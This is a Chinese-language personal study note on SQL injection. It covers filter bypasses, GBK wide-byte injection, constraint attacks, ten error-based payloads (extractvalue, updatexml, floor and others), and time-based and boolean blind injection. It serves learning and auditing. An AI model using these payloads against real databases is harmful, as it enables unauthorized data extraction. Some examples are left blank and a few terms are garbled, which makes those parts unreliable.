sql注入笔记(一)
自己写写笔记,有错的地方望大佬指点
小技巧:
-
简单绕过 , ’ 字符的过滤
传入字符串时 需要有一个’’ 表示字符串 ,假如被过滤了,那么就是可以使用十六进制(对应sqlmap 中的–hcx)来表示这个值 或者ascii码的形式,从而实现想要判断的值。
e.g.
select * from user where substr(username,1,1) = 97
上述语句中 假如,被过滤了 ,则可写成 substr(str from pos for len) 的形式. -
利用注释来进行拼接 绕过限制或者各种奇怪的操作
常用的注释: # /**/ - -
select from user where username =’ / ’ and password =’ */ ’ 绕过username字段的限制。
select * from user where username =’ %df’ #’ 前面逃逸了一个’,所以注释后面的一个’
-
sql注入的一些自己的理解
首先我们要具有的几个条件:
1、在sql语句可控的数据(位置)。
2、数据过滤的不严密
从而导致了一个sql注入的一个风险;那么我们的目的是什么呢;
目的:获得数据库中的数据。
宽字节注入(GBK)
原理:利用mysql的一个特性,将2个字节认为是中文字符,但是第一个字符要大于128,也就是说假如有一个字节大于了128那么后面的字节就会和这个字节一起变成了一个中文字符。
例子:
简单的一个利用:比如在传入一个’ 字符时,实际传入会变成一个\’ 去转义这个’,那么在 \ 前面加入一个大于128的一个字节 就会把 \ 和前面的字一起转义成一个 中文字符,从而实现一个’ 的逃逸。
e.g.
原来要执行的:select * from user where username = ’ username ’ and password = ‘ password ’;
那么post/get
username= ’ %df ’ or 1 #‘ /*
pasword = ’ */’
那么实际执行的话就会变成一个
select * from user where username = ’ 運’ or 1 / * ’ and password = ‘ */’
约束公鸡
原理1:insert 插入数据时 数据过长被截断后面的部分;
原理2:字符串比较时若长度不相等 则 短的一方 填加空格去比较;
e.g.
报错注入
原理:假如错误能被回显,则构造一些错误语句就可以将想要的数据带出。
e.g.
十种方式(不多赘述):
转自:https://www.cnblogs.com/wocalieshenmegui/p/5917967.html
以下均摘自《代码审计:企业级Web代码安全架构》一书
1.floor()
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);、
2.extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
3.updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
4.geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
5.multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
6.polygon()
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
7.multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
8.linestring()
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
9.multilinestring()
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
10.exp()
select * from test where id=1 and exp(~(select * from(select user())a));
时间盲注,布尔盲注
**原理:**其实我觉得逻辑上都是一样的原理,所以讲这些方式放到一起讲;
时间盲注: and sleep (10) 前面成立则会延迟。(就可以用是否产生延迟来判断前面自己想要判断的东西。)
布尔盲注: 在sql语句中已知莫部分 要成true 或者 成假 ,在那个地方 做一个替换 来判断自己想要去 判断的东西。也就是说 根据 不同的已知结果来判断自己想要判断的东西。
e.g.
时间盲注:
select * from user where substr(username,1,1)='a ’ and sleep(3) ;利用py脚本暴力猜测想要的数据。
order by 注入
原理:列名后 可接位运算操作 从而执行 sql代码